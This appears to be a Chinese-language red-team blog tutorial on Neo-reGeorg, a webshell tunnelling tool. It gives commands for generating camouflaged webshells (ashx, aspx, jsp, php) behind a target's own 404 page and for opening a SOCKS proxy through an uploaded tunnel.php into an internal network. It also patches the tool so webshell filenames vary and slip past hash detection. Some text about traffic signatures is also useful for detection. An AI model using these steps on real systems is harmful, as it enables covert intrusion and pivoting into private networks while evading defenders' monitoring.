简单介绍

》》网址《《
Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,特性:

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 直接请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性
  • 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
  • 支持内网转发,应对负载均衡环境

命令行分为两大块,和

服务端生成命令块

客户端命令块

对于攻防来讲,公开的工具都需要自定义修改,关键时刻才能使用。

基础功能分析

服务端生成

命令行介绍:

D:\Neo-reGeorg-2.3.2>python3 neoreg.py generate -husage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]Generate neoreg webshelloptional arguments: -h, --help show this help message and exit // 指定连接密钥。 就是连接时的密码 -k KEY, --key KEY Specify connection key. // 生成的webshell存放的目录 -o DIR, --outdir DIR Output directory. // 参照的模板html文件,一般下载目标的404、403页面作为模板。 -f FILE, --file FILE Camouflage html page file // webshell的响应码,建议对应模板。 -c CODE, --httpcode CODE Specify HTTP response code. When using -r, it is recommended to <400. (default: 200) // 数据交互时,一次读取多少bytes字符 --read-buff Bytes Remote read buffer. (default: 513)

新增的404页面生成功能对于隐藏服务端文件挺好的思路,实战时直接下载目标的404页面即可当作模板。

// 连接密码langke、模板文件404.html、响应码:404#>:python3 neoreg.py generate -k langke --file 404.html --httpcode 404

生成失败,未给出原因:

D:\Neo-reGeorg-2.3.2>python3 neoreg.py generate -k langke -f 404.html -c 404······· [ Github ] https://github.com/L-codes/neoreg [+] Create neoreg server files:[ERROR ] Failed to read file: 404.html

自己定位到相关位置,查看错误原因:

488行添加打印报错代码得知,python3默认使用打开模板文件,只需要在486行打开文件时,用格式打开文件即可:

GBK

404.html

utf-8

484 def file_read(filename):485 try:486 with open(filename, encoding="utf-8") as f:487 return f.read()488 except Exception as e:489 print(e)490 log.error("Failed to read file: %s" % filename)491 exit()

自动在工具根目录生成文件夹,里边包括key存放文件,和、、、、等类型的webshell服务端。选择目标服务器可解析格式上传。

neoreg_servers

ashx

aspx

jsp

jspx

php

客户端

命令行介绍:

D:\Neo-reGeorg-2.3.2>python3 neoreg.py -husage: neoreg.py [-h] -u URI [-r URL] -k KEY [-l IP] [-p PORT] [-s] [-H LINE] [-c LINE] [-x LINE] [--local-dns] [--read-buff Bytes] [--read-interval MS] [--max-threads N] [-v]Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k(debug_all|debug_base64|debug_headers_key|debug_headers_values)optional arguments: -h, --help show this help message and exit // 指定webshell地址 -u URI, --url URI The url containing the tunnel script // 指定内网转发的webshell地址,就是通过目标及连接目标内网的webshell。 -r URL, --redirect-url URL Intranet forwarding the designated server (only jsp(x)) // 指定webshell的连接密码 -k KEY, --key KEY Specify connection key // 连接到目标内网的代理,在本地监听的IP -l IP, --listen-on IP The default listening address.(default: 127.0.0.1) // 代理监听的端口,选择一个未使用的即可 -p PORT, --listen-port PORT The default listening port.(default: 1080) // 跳过可用性测试,如果生成webshell时使用了模板,即-f参数,连接时此参数必须。 -s, --skip Skip usability testing // 自定义请求头 -H LINE, --header LINE Pass custom header LINE to server // 自定义cookie -c LINE, --cookie LINE Custom init cookies // 前置代理,连接webshell之前需要连接的代理 -x LINE, --proxy LINE Proto://host[:port] Use proxy on given port // 使用本地搭建的DNS服务器解析域名。 --local-dns Use local resolution DNS // 每个post请求发送的最大数据量。 --read-buff Bytes Local read buffer, max data to be sent per POST.(default: 2048 max: 2600) // 读取数据间隔(毫秒)。 --read-interval MS Read data interval in milliseconds.(default: 100) // 代理最大线程数。本地搭建的连接到目标内网的代理,最多可连接多少个。 --max-threads N Proxy max threads.(default: 1000) -v Increase verbosity level (use -vv or more for greater effect)

连接服务端

// 代理监听在本地的1081端口,前置代理使用本地的8080端口,主要是为了把流量转发到burp上,方便查看。python3 neoreg.py -k langke -u http://192.168.4.100/tunnel.php -p 1081 -x http://127.0.0.1:8080 -vv// 代理搭建成功netstat -ano | findstr /i 1081 TCP 127.0.0.1:1081 0.0.0.0:0 LISTENING 7784

使用代理
Proxifier配置代理:SOCKS5://127.0.0.1:1081
通过代理,连接目标内网主机192.168.4.7的22端口:

类方法解释

在开始之前,先来分析一下脚本功能逻辑。

全局变量解释:

主要类函数解释:

核心类解释:

数据交互过程

暂以php为例

neoreg的数据交互过程大概是这个样子,socks代理数据是包裹在http协议里边的,对方能抓到的,http协议相关数据包和web服务器向目标建立的socks连接。
站在攻的角度,先来聊聊本机和web服务器之间得数据包得特征隐藏。

文件特征

首先,是上传webshell阶段。检测木马文件最常用得办法就是文件hash了,所以生成webshehll服务端时,可以通过设定不同的-k、-f和-c参数修改默认值,从而避开hash检测。

:主要影响webshell文件中的随机字符串,主要位置在headers的键值。
:主要影响webshell文件最后位置,exit函数运行结束后打印的html代码。
:主要影响webshell文件设定的响应状态码。

-k

-f

-c

然后就是webshell的文件名了,这个并未提供参数,添加一个。

// 558行添加parser.add_argument("-n", "--filename", metavar="FILENAME", help="webshell name", default="tunnel")// 739行下面添加 outfilename = filename.replace('tunnel.', args.filename + '.') outfile = os.path.join(outdir, outfilename)// 770行改为入下outfile = os.path.join(outdir, filename.replace('tunnel.', args.filename + '_compatibility.'))

使用时加 参数即可,如果不加参数,默认文件名为。

-n

-n

tunnel

流量特征

由于作者采用随机数方法,所以流量特征并不是很明显。主要有以下几点:

  • 如果生成webshell时,未加参数,访问webshehll时,响应体是如下格式,中间字符串长度不固定。并且除此之外,无其他字符。
  • -f

  • 每次利用代理连接目标时,请求头中都是有一个键名随机长度,值为目标IP和端口的自定义base64加密结果,不过,长度和正常base64加密后的数据长度一样。
    内网IP加端口最长28个字符,最短16个字符

  • 还有就是,一般header头的键都是可读的,而工具随机生成的键名会显得突兀。
  • RjuclkefrmdnywsIhxsrramyvbzuciwMbwqvjrtbrsq